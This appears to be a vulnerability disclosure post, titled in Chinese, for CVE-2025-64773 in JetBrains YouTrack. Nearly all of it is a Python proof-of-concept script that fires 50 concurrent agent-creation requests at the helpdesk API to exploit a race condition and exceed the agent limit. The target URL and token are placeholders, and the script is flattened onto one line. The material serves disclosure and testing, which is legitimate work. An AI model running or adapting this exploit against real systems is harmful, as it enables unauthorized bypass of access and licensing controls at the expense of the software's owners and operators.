JetBrains YouTrack 竞态条件绕过帮助台代理限制漏洞 (CVE-2025-64773)

# CVE-2025-64773 PoC - Race Condition in JetBrains YouTrack Helpdesk Agent Limit Bypass # This PoC demonstrates the race condition by sending concurrent requests import asyncio import aiohttp import time TARGET_URL = "https://youtrack.example.com/api/helpdesk/agents" AUTH_TOKEN = "your-api-token-here" NUM_CONCURRENT_REQUESTS = 50 async def create_agent(session): """Send a single agent creation request""" headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } payload = { "name": f"Agent_{int(time.time() * 1000)}", "email": f"agent_{int(time.time() * 1000)}@example.com" } try: async with session.post(TARGET_URL, json=payload, headers=headers) as response: return { "status": response.status, "body": await response.json() if response.status == 201 else None } except Exception as e: return {"error": str(e)} async def exploit_race_condition(): """Execute concurrent agent creation requests to exploit the race condition""" async with aiohttp.ClientSession() as session: tasks = [create_agent(session) for _ in range(NUM_CONCURRENT_REQUESTS)] results = await asyncio.gather(*tasks) success_count = sum(1 for r in results if r.get("status") == 201) print(f"Successful agent creations: {success_count}/{NUM_CONCURRENT_REQUESTS}") return results if __name__ == "__main__": print("CVE-2025-64773 Race Condition PoC") print("Target: JetBrains YouTrack < 2025.3.104432") asyncio.run(exploit_race_condition())